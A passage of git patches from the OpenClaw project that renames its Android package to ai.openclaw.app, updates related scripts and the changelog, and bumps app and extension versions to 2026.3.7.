a/apps/android/app/src/test/java/ai/openclaw/android/node/NotificationsHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/NotificationsHandlerTest.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.test.runTest import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt index 707d886d74f..82318b3524c 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/PhotosHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/PhotosHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context import kotlinx.serialization.json.Json diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt index a3d61329b4a..c1b98908f08 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/SmsManagerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/SmsManagerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import kotlinx.serialization.json.jsonObject import kotlinx.serialization.json.jsonPrimitive diff --git a/apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt index 770d1920c76..994864cf364 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/node/SystemHandlerTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/node/SystemHandlerTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import org.junit.Assert.assertEquals import org.junit.Assert.assertFalse diff --git a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt index c767d2eb910..7879534da0b 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawCanvasA2UIActionTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawCanvasA2UIActionTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import kotlinx.serialization.json.Json import kotlinx.serialization.json.jsonObject diff --git a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt index cd1cf847101..25eda3872e3 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/protocol/OpenClawProtocolConstantsTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/protocol/OpenClawProtocolConstantsTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.protocol +package ai.openclaw.app.protocol import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt index 7dc2dd1a239..72738843ff0 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/ui/GatewayConfigResolverTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/ui/GatewayConfigResolverTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.ui +package ai.openclaw.app.ui import java.util.Base64 import org.junit.Assert.assertEquals diff --git a/apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt similarity index 93% rename from apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt index 8e9e5800095..604e78cae3d 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/ui/chat/SessionFiltersTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/ui/chat/SessionFiltersTest.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.ui.chat +package ai.openclaw.app.ui.chat -import ai.openclaw.android.chat.ChatSessionEntry +import ai.openclaw.app.chat.ChatSessionEntry import org.junit.Assert.assertEquals import org.junit.Test diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt similarity index 97% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt index 77d62849c6c..b7a18947a13 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkDirectiveParserTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkDirectiveParserTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt similarity index 98% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt index dbc40f3c22b..9e224552ade 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/TalkModeConfigParsingTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/TalkModeConfigParsingTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import kotlinx.serialization.json.Json import kotlinx.serialization.json.buildJsonObject diff --git a/apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt b/apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt similarity index 95% rename from apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt rename to apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt index 76b50d8abcd..2e2e5d87402 100644 --- a/apps/android/app/src/test/java/ai/openclaw/android/voice/VoiceWakeCommandExtractorTest.kt +++ b/apps/android/app/src/test/java/ai/openclaw/app/voice/VoiceWakeCommandExtractorTest.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.voice +package ai.openclaw.app.voice import org.junit.Assert.assertEquals import org.junit.Assert.assertNull diff --git a/apps/android/benchmark/build.gradle.kts b/apps/android/benchmark/build.gradle.kts index 5e186e9d2c1..a59bfe3c5e2 100644 --- a/apps/android/benchmark/build.gradle.kts +++ b/apps/android/benchmark/build.gradle.kts @@ -4,7 +4,7 @@ plugins { } android { - namespace = "ai.openclaw.android.benchmark" + namespace = "ai.openclaw.app.benchmark" compileSdk = 36 defaultConfig { diff --git a/apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt b/apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt similarity index 96% rename from apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt rename to apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt index 46181f6a9a1..f3e56789dcf 100644 --- a/apps/android/benchmark/src/main/java/ai/openclaw/android/benchmark/StartupMacrobenchmark.kt +++ b/apps/android/benchmark/src/main/java/ai/openclaw/app/benchmark/StartupMacrobenchmark.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.benchmark +package ai.openclaw.app.benchmark import androidx.benchmark.macro.CompilationMode import androidx.benchmark.macro.FrameTimingMetric @@ -18,7 +18,7 @@ class StartupMacrobenchmark { @get:Rule val benchmarkRule = MacrobenchmarkRule() - private val packageName = "ai.openclaw.android" + private val packageName = "ai.openclaw.app" @Test fun coldStartup() { diff --git a/apps/android/scripts/perf-startup-benchmark.sh b/apps/android/scripts/perf-startup-benchmark.sh index 70342d3cba4..b85ec220220 100755 --- a/apps/android/scripts/perf-startup-benchmark.sh +++ b/apps/android/scripts/perf-startup-benchmark.sh @@ -4,7 +4,7 @@ set -euo pipefail SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" ANDROID_DIR="$(cd -- "$SCRIPT_DIR/.." && pwd)" RESULTS_DIR="$ANDROID_DIR/benchmark/results" -CLASS_FILTER="ai.openclaw.android.benchmark.StartupMacrobenchmark#coldStartup" +CLASS_FILTER="ai.openclaw.app.benchmark.StartupMacrobenchmark#coldStartup" BASELINE_JSON="" usage() { diff --git a/apps/android/scripts/perf-startup-hotspots.sh b/apps/android/scripts/perf-startup-hotspots.sh index 787d5fac300..ab34b7913d4 100755 --- a/apps/android/scripts/perf-startup-hotspots.sh +++ b/apps/android/scripts/perf-startup-hotspots.sh @@ -4,7 +4,7 @@ set -euo pipefail SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" ANDROID_DIR="$(cd -- "$SCRIPT_DIR/.." && pwd)" -PACKAGE="ai.openclaw.android" +PACKAGE="ai.openclaw.app" ACTIVITY=".MainActivity" DURATION_SECONDS="10" OUTPUT_PERF_DATA="" From 2018d8aa99c4dbfdc280d7767452ac294845040f Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 14:50:41 +0530 Subject: [PATCH 102/844] docs: add changelog entry for Android package rename (#38712) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3fde0f44159..9e06317b76e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -581,6 +581,7 @@ Docs: https://docs.openclaw.ai - Docs/Contributing: require before/after screenshots for UI or visual PRs in the pre-PR checklist. (#32206) Thanks @hydro13. - Models/OpenAI forward compat: add support for `openai/gpt-5.4`, `openai/gpt-5.4-pro`, and `openai-codex/gpt-5.4`, including direct OpenAI Responses `serviceTier` passthrough safeguards for valid values. (#36590) Thanks @dorukardahan. +- Android/Play package ID: rename the Android app package to `ai.openclaw.app`, including matching benchmark and Android tooling references for Play publishing. (#38712) Thanks @obviyus. ### Fixes From 84f5d7dc1d1b041382c126384c6eb28cad2f53fa Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Sat, 7 Mar 2026 14:58:51 +0530 Subject: [PATCH 103/844] fix(android): align run command with app id --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 935e584a8e1..cff417b8500 100644 --- a/package.json +++ b/package.json @@ -220,7 +220,7 @@ "android:install": "cd apps/android && ./gradlew :app:installDebug", "android:lint": "cd apps/android && ./gradlew :app:ktlintCheck :benchmark:ktlintCheck", "android:lint:android": "cd apps/android && ./gradlew :app:lintDebug", - "android:run": "cd apps/android && ./gradlew :app:installDebug && adb shell am start -n ai.openclaw.android/.MainActivity", + "android:run": "cd apps/android && ./gradlew :app:installDebug && adb shell am start -n ai.openclaw.app/.MainActivity", "android:test": "cd apps/android && ./gradlew :app:testDebugUnitTest", "android:test:integration": "OPENCLAW_LIVE_TEST=1 OPENCLAW_LIVE_ANDROID_NODE=1 vitest run --config vitest.live.config.ts src/gateway/android-node.capabilities.live.test.ts", "build": "pnpm canvas:a2ui:bundle && tsdown && node scripts/copy-plugin-sdk-root-alias.mjs && pnpm build:plugin-sdk:dts && node --import tsx scripts/write-plugin-sdk-entry-dts.ts && node --import tsx scripts/canvas-a2ui-copy.ts && node --import tsx scripts/copy-hook-metadata.ts && node --import tsx scripts/copy-export-html-templates.ts && node --import tsx scripts/write-build-info.ts && node --import tsx scripts/write-cli-startup-metadata.ts && node --import tsx scripts/write-cli-compat.ts", From 997a9f5b9ea9f9fdfc2645a0c85a07f5e4b00e64 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:09:02 +0000 Subject: [PATCH 104/844] chore: bump version to 2026.3.7 --- CHANGELOG.md | 2 +- apps/android/app/build.gradle.kts | 4 ++-- apps/ios/ActivityWidget/Info.plist | 4 ++-- apps/ios/ShareExtension/Info.plist | 4 ++-- apps/ios/Sources/Info.plist | 4 ++-- apps/ios/Tests/Info.plist | 4 ++-- apps/ios/WatchApp/Info.plist | 4 ++-- apps/ios/WatchExtension/Info.plist | 4 ++-- apps/ios/project.yml | 24 +++++++++---------- .../Sources/OpenClaw/Resources/Info.plist | 4 ++-- docs/platforms/mac/release.md | 14 +++++------ extensions/acpx/package.json | 2 +- extensions/bluebubbles/package.json | 2 +- extensions/copilot-proxy/package.json | 2 +- extensions/diagnostics-otel/package.json | 2 +- extensions/diffs/package.json | 2 +- extensions/discord/package.json | 2 +- extensions/feishu/package.json | 2 +- .../google-gemini-cli-auth/package.json | 2 +- extensions/googlechat/package.json | 2 +- extensions/imessage/package.json | 2 +- extensions/irc/package.json | 2 +- extensions/line/package.json | 2 +- extensions/llm-task/package.json | 2 +- extensions/lobster/package.json | 2 +- extensions/matrix/CHANGELOG.md | 6 +++++ extensions/matrix/package.json | 2 +- extensions/mattermost/package.json | 2 +- extensions/memory-core/package.json | 2 +- extensions/memory-lancedb/package.json | 2 +- extensions/minimax-portal-auth/package.json | 2 +- extensions/msteams/CHANGELOG.md | 6 +++++ extensions/msteams/package.json | 2 +- extensions/nextcloud-talk/package.json | 2 +- extensions/nostr/CHANGELOG.md | 6 +++++ extensions/nostr/package.json | 2 +- extensions/open-prose/package.json | 2 +- extensions/signal/package.json | 2 +- extensions/slack/package.json | 2 +- extensions/synology-chat/package.json | 2 +- extensions/telegram/package.json | 2 +- extensions/tlon/package.json | 2 +- extensions/twitch/CHANGELOG.md | 6 +++++ extensions/twitch/package.json | 2 +- extensions/voice-call/CHANGELOG.md | 6 +++++ extensions/voice-call/package.json | 2 +- extensions/whatsapp/package.json | 2 +- extensions/zalo/CHANGELOG.md | 6 +++++ extensions/zalo/package.json | 2 +- extensions/zalouser/CHANGELOG.md | 6 +++++ extensions/zalouser/package.json | 2 +- package.json | 2 +- src/cli/banner.test.ts | 12 +++++----- ui/src/ui/app-gateway.node.test.ts | 14 +++++------ .../controllers/control-ui-bootstrap.test.ts | 4 ++-- 55 files changed, 127 insertions(+), 85 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9e06317b76e..c7ef5e029ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ Docs: https://docs.openclaw.ai -## 2026.3.3 +## 2026.3.7 ### Changes diff --git a/apps/android/app/build.gradle.kts b/apps/android/app/build.gradle.kts index 595a5796fa3..d570a8cd9a3 100644 --- a/apps/android/app/build.gradle.kts +++ b/apps/android/app/build.gradle.kts @@ -63,8 +63,8 @@ android { applicationId = "ai.openclaw.app" minSdk = 31 targetSdk = 36 - versionCode = 202603010 - versionName = "2026.3.2" + versionCode = 202603070 + versionName = "2026.3.7" ndk { // Support all major ABIs — native libs are tiny (~47 KB per ABI) abiFilters += listOf("armeabi-v7a", "arm64-v8a", "x86", "x86_64") diff --git a/apps/ios/ActivityWidget/Info.plist b/apps/ios/ActivityWidget/Info.plist index 4e12dc4f884..c404f71dba2 100644 --- a/apps/ios/ActivityWidget/Info.plist +++ b/apps/ios/ActivityWidget/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType XPC! CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionPointIdentifier diff --git a/apps/ios/ShareExtension/Info.plist b/apps/ios/ShareExtension/Info.plist index 6e1113cf205..dbf921457a7 100644 --- a/apps/ios/ShareExtension/Info.plist +++ b/apps/ios/ShareExtension/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType XPC! CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionAttributes diff --git a/apps/ios/Sources/Info.plist b/apps/ios/Sources/Info.plist index b4d6ed3109a..00f7f48029f 100644 --- a/apps/ios/Sources/Info.plist +++ b/apps/ios/Sources/Info.plist @@ -19,7 +19,7 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleURLTypes @@ -32,7 +32,7 @@ CFBundleVersion - 20260301 + 20260307 NSAppTransportSecurity NSAllowsArbitraryLoadsInWebContent diff --git a/apps/ios/Tests/Info.plist b/apps/ios/Tests/Info.plist index 51f99d987c4..a2cb4ee4ef3 100644 --- a/apps/ios/Tests/Info.plist +++ b/apps/ios/Tests/Info.plist @@ -17,8 +17,8 @@ CFBundlePackageType BNDL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 diff --git a/apps/ios/WatchApp/Info.plist b/apps/ios/WatchApp/Info.plist index c0041b2a11d..34d82764495 100644 --- a/apps/ios/WatchApp/Info.plist +++ b/apps/ios/WatchApp/Info.plist @@ -17,9 +17,9 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 WKCompanionAppBundleIdentifier $(OPENCLAW_APP_BUNDLE_ID) WKWatchKitApp diff --git a/apps/ios/WatchExtension/Info.plist b/apps/ios/WatchExtension/Info.plist index 45029fa7569..b3df595faeb 100644 --- a/apps/ios/WatchExtension/Info.plist +++ b/apps/ios/WatchExtension/Info.plist @@ -15,9 +15,9 @@ CFBundleName $(PRODUCT_NAME) CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 20260301 + 20260307 NSExtension NSExtensionAttributes diff --git a/apps/ios/project.yml b/apps/ios/project.yml index 3cc4444ce09..a0a7a500998 100644 --- a/apps/ios/project.yml +++ b/apps/ios/project.yml @@ -98,8 +98,8 @@ targets: - CFBundleURLName: ai.openclaw.ios CFBundleURLSchemes: - openclaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" UILaunchScreen: {} UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false @@ -156,8 +156,8 @@ targets: path: ShareExtension/Info.plist properties: CFBundleDisplayName: OpenClaw Share - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSExtension: NSExtensionPointIdentifier: com.apple.share-services NSExtensionPrincipalClass: "$(PRODUCT_MODULE_NAME).ShareViewController" @@ -193,8 +193,8 @@ targets: path: ActivityWidget/Info.plist properties: CFBundleDisplayName: OpenClaw Activity - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSSupportsLiveActivities: true NSExtension: NSExtensionPointIdentifier: com.apple.widgetkit-extension @@ -219,8 +219,8 @@ targets: path: WatchApp/Info.plist properties: CFBundleDisplayName: OpenClaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" WKCompanionAppBundleIdentifier: "$(OPENCLAW_APP_BUNDLE_ID)" WKWatchKitApp: true @@ -244,8 +244,8 @@ targets: path: WatchExtension/Info.plist properties: CFBundleDisplayName: OpenClaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSExtension: NSExtensionAttributes: WKAppBundleIdentifier: "$(OPENCLAW_WATCH_APP_BUNDLE_ID)" @@ -279,5 +279,5 @@ targets: path: Tests/Info.plist properties: CFBundleDisplayName: OpenClawTests - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" diff --git a/apps/macos/Sources/OpenClaw/Resources/Info.plist b/apps/macos/Sources/OpenClaw/Resources/Info.plist index 8ca28de8bd6..42be1e819be 100644 --- a/apps/macos/Sources/OpenClaw/Resources/Info.plist +++ b/apps/macos/Sources/OpenClaw/Resources/Info.plist @@ -15,9 +15,9 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 202603010 + 202603070 CFBundleIconFile OpenClaw CFBundleURLTypes diff --git a/docs/platforms/mac/release.md b/docs/platforms/mac/release.md index a71e2e8fe5e..597ce2d2570 100644 --- a/docs/platforms/mac/release.md +++ b/docs/platforms/mac/release.md @@ -37,16 +37,16 @@ Notes: # APP_BUILD must be numeric + monotonic for Sparkle compare. # Default is auto-derived from APP_VERSION when omitted. BUNDLE_ID=ai.openclaw.mac \ -APP_VERSION=2026.3.2 \ +APP_VERSION=2026.3.7 \ BUILD_CONFIG=release \ SIGN_IDENTITY="Developer ID Application: ()" \ scripts/package-mac-app.sh # Zip for distribution (includes resource forks for Sparkle delta support) -ditto -c -k --sequesterRsrc --keepParent dist/OpenClaw.app dist/OpenClaw-2026.3.2.zip +ditto -c -k --sequesterRsrc --keepParent dist/OpenClaw.app dist/OpenClaw-2026.3.7.zip # Optional: also build a styled DMG for humans (drag to /Applications) -scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.2.dmg +scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.7.dmg # Recommended: build + notarize/staple zip + DMG # First, create a keychain profile once: @@ -54,13 +54,13 @@ scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.2.dmg # --apple-id "" --team-id "" --password "" NOTARIZE=1 NOTARYTOOL_PROFILE=openclaw-notary \ BUNDLE_ID=ai.openclaw.mac \ -APP_VERSION=2026.3.2 \ +APP_VERSION=2026.3.7 \ BUILD_CONFIG=release \ SIGN_IDENTITY="Developer ID Application: ()" \ scripts/package-mac-dist.sh # Optional: ship dSYM alongside the release -ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenClaw-2026.3.2.dSYM.zip +ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenClaw-2026.3.7.dSYM.zip ``` ## Appcast entry @@ -68,7 +68,7 @@ ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenCl Use the release note generator so Sparkle renders formatted HTML notes: ```bash -SPARKLE_PRIVATE_KEY_FILE=/path/to/ed25519-private-key scripts/make_appcast.sh dist/OpenClaw-2026.3.2.zip https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml +SPARKLE_PRIVATE_KEY_FILE=/path/to/ed25519-private-key scripts/make_appcast.sh dist/OpenClaw-2026.3.7.zip https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml ``` Generates HTML release notes from `CHANGELOG.md` (via [`scripts/changelog-to-html.sh`](https://github.com/openclaw/openclaw/blob/main/scripts/changelog-to-html.sh)) and embeds them in the appcast entry. @@ -76,7 +76,7 @@ Commit the updated `appcast.xml` alongside the release assets (zip + dSYM) when ## Publish & verify -- Upload `OpenClaw-2026.3.2.zip` (and `OpenClaw-2026.3.2.dSYM.zip`) to the GitHub release for tag `v2026.3.2`. +- Upload `OpenClaw-2026.3.7.zip` (and `OpenClaw-2026.3.7.dSYM.zip`) to the GitHub release for tag `v2026.3.7`. - Ensure the raw appcast URL matches the baked feed: `https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml`. - Sanity checks: - `curl -I https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml` returns 200. diff --git a/extensions/acpx/package.json b/extensions/acpx/package.json index a9d36c1fea4..b60e427122a 100644 --- a/extensions/acpx/package.json +++ b/extensions/acpx/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/acpx", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw ACP runtime backend via acpx", "type": "module", "dependencies": { diff --git a/extensions/bluebubbles/package.json b/extensions/bluebubbles/package.json index bef722d513b..7a381ee85ff 100644 --- a/extensions/bluebubbles/package.json +++ b/extensions/bluebubbles/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/bluebubbles", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw BlueBubbles channel plugin", "type": "module", "dependencies": { diff --git a/extensions/copilot-proxy/package.json b/extensions/copilot-proxy/package.json index 58f5c6d39aa..ea24b22495c 100644 --- a/extensions/copilot-proxy/package.json +++ b/extensions/copilot-proxy/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/copilot-proxy", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Copilot Proxy provider plugin", "type": "module", diff --git a/extensions/diagnostics-otel/package.json b/extensions/diagnostics-otel/package.json index 9b4f0523ede..cdd5a6f4c97 100644 --- a/extensions/diagnostics-otel/package.json +++ b/extensions/diagnostics-otel/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/diagnostics-otel", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw diagnostics OpenTelemetry exporter", "type": "module", "dependencies": { diff --git a/extensions/diffs/package.json b/extensions/diffs/package.json index 7567e7a8ef0..f22da59a6c7 100644 --- a/extensions/diffs/package.json +++ b/extensions/diffs/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/diffs", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw diff viewer plugin", "type": "module", diff --git a/extensions/discord/package.json b/extensions/discord/package.json index 2fe1336626d..1c3fe35f8eb 100644 --- a/extensions/discord/package.json +++ b/extensions/discord/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/discord", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Discord channel plugin", "type": "module", "openclaw": { diff --git a/extensions/feishu/package.json b/extensions/feishu/package.json index bb85da8ab41..716d597576e 100644 --- a/extensions/feishu/package.json +++ b/extensions/feishu/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/feishu", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw Feishu/Lark channel plugin (community maintained by @m1heng)", "type": "module", "dependencies": { diff --git a/extensions/google-gemini-cli-auth/package.json b/extensions/google-gemini-cli-auth/package.json index f655b794c32..de9d3b8fab6 100644 --- a/extensions/google-gemini-cli-auth/package.json +++ b/extensions/google-gemini-cli-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/google-gemini-cli-auth", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Gemini CLI OAuth provider plugin", "type": "module", diff --git a/extensions/googlechat/package.json b/extensions/googlechat/package.json index 4c19fd26af6..ca55508dba8 100644 --- a/extensions/googlechat/package.json +++ b/extensions/googlechat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/googlechat", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw Google Chat channel plugin", "type": "module", diff --git a/extensions/imessage/package.json b/extensions/imessage/package.json index 4c29501f7d0..d4562e6e42c 100644 --- a/extensions/imessage/package.json +++ b/extensions/imessage/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/imessage", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw iMessage channel plugin", "type": "module", diff --git a/extensions/irc/package.json b/extensions/irc/package.json index 2de9a5afb0b..bb41c1d9e02 100644 --- a/extensions/irc/package.json +++ b/extensions/irc/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/irc", - "version": "2026.3.3", + "version": "2026.3.7", "description": "OpenClaw IRC channel plugin", "type": "module", "dependencies": { diff --git a/extensions/line/package.json b/extensions/line/package.json index e300f54ee74..cef43060dcc 100644 --- a/extensions/line/package.json +++ b/extensions/line/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/line", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw LINE channel plugin", "type": "module", diff --git a/extensions/llm-task/package.json b/extensions/llm-task/package.json index 2e925f7191b..9203bc54c4c 100644 --- a/extensions/llm-task/package.json +++ b/extensions/llm-task/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/llm-task", - "version": "2026.3.3", + "version": "2026.3.7", "private": true, "description": "OpenClaw JSON-only LLM task plugin", "type": "module", diff --git a/extensions/lobster/package.json b/extensions/lobster/package.json index 8bc2465562f..cf501a4b7fd 100644 --- a/extensions/lobster/package.json +++ b/extensions/lobster/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/lobster", - 